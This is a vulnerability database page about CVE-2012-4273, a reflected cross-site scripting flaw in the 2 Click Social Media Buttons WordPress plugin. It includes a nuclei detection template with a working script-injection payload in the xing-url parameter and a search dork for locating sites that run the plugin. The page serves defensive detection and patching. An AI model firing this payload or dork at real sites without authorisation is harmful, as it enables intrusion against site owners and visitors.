HexBrain

Browse / CVEs / CVE-2012-4273

CVE-2012-4273· ppfeufer / 2-click-social-media-buttons· CWE-79

2 Click Socialmedia Buttons < 0.34 - Cross-Site Scripting

mediumseverity
4.3CVSS score
5.8%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

A cross-site scripting vulnerability in libs/xing.php in the 2 Click Social Media Buttons plugin before 0.34 for WordPress allows remote attackers to inject arbitrary web script or HTML via the xing-url parameter.

Impact

Allows attackers to inject malicious scripts into web pages viewed by users, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the 2 Click Socialmedia Buttons plugin (0.34 or higher) to fix the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/2-click-socialmedia-buttons/readme.txt
Positive when: contains "2 Click Social Media Buttons" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/2-click-socialmedia-buttons/libs/xing.php?xing-url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2012-4273 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2012-4273

info:
  name: 2 Click Socialmedia Buttons < 0.34 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in libs/xing.php in the 2 Click Social Media Buttons plugin before 0.34 for WordPress allows remote attackers to inject arbitrary web script or HTML via the xing-url parameter.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the 2 Click Socialmedia Buttons plugin (0.34 or higher) to fix the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4273
    - http://plugins.trac.wordpress.org/changeset?old_path=%2F2-click-socialmedia-buttons&old=532798&new_path=%2F2-click-socialmedia-buttons&new=532798
    - http://wordpress.org/extend/plugins/2-click-socialmedia-buttons/changelog/
    - http://packetstormsecurity.org/files/112615/WordPress-2-Click-Socialmedia-Buttons-Cross-Site-Scripting.html
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/75518
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4273
    cwe-id: CWE-79
    epss-score: 0.0578
    epss-percentile: 0.93156
    cpe: cpe:2.3:a:ppfeufer:2-click-social-media-buttons:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: ppfeufer
    product: "2-click-social-media-buttons"
    google-query: "inurl:\"/wp-content/plugins/2-click-socialmedia-buttons\""
  tags: cve,cve2012,wordpress,xss,wp-plugin,packetstorm,ppfeufer,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/2-click-socialmedia-buttons/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '2 Click Social Media Buttons'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/2-click-socialmedia-buttons/libs/xing.php?xing-url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from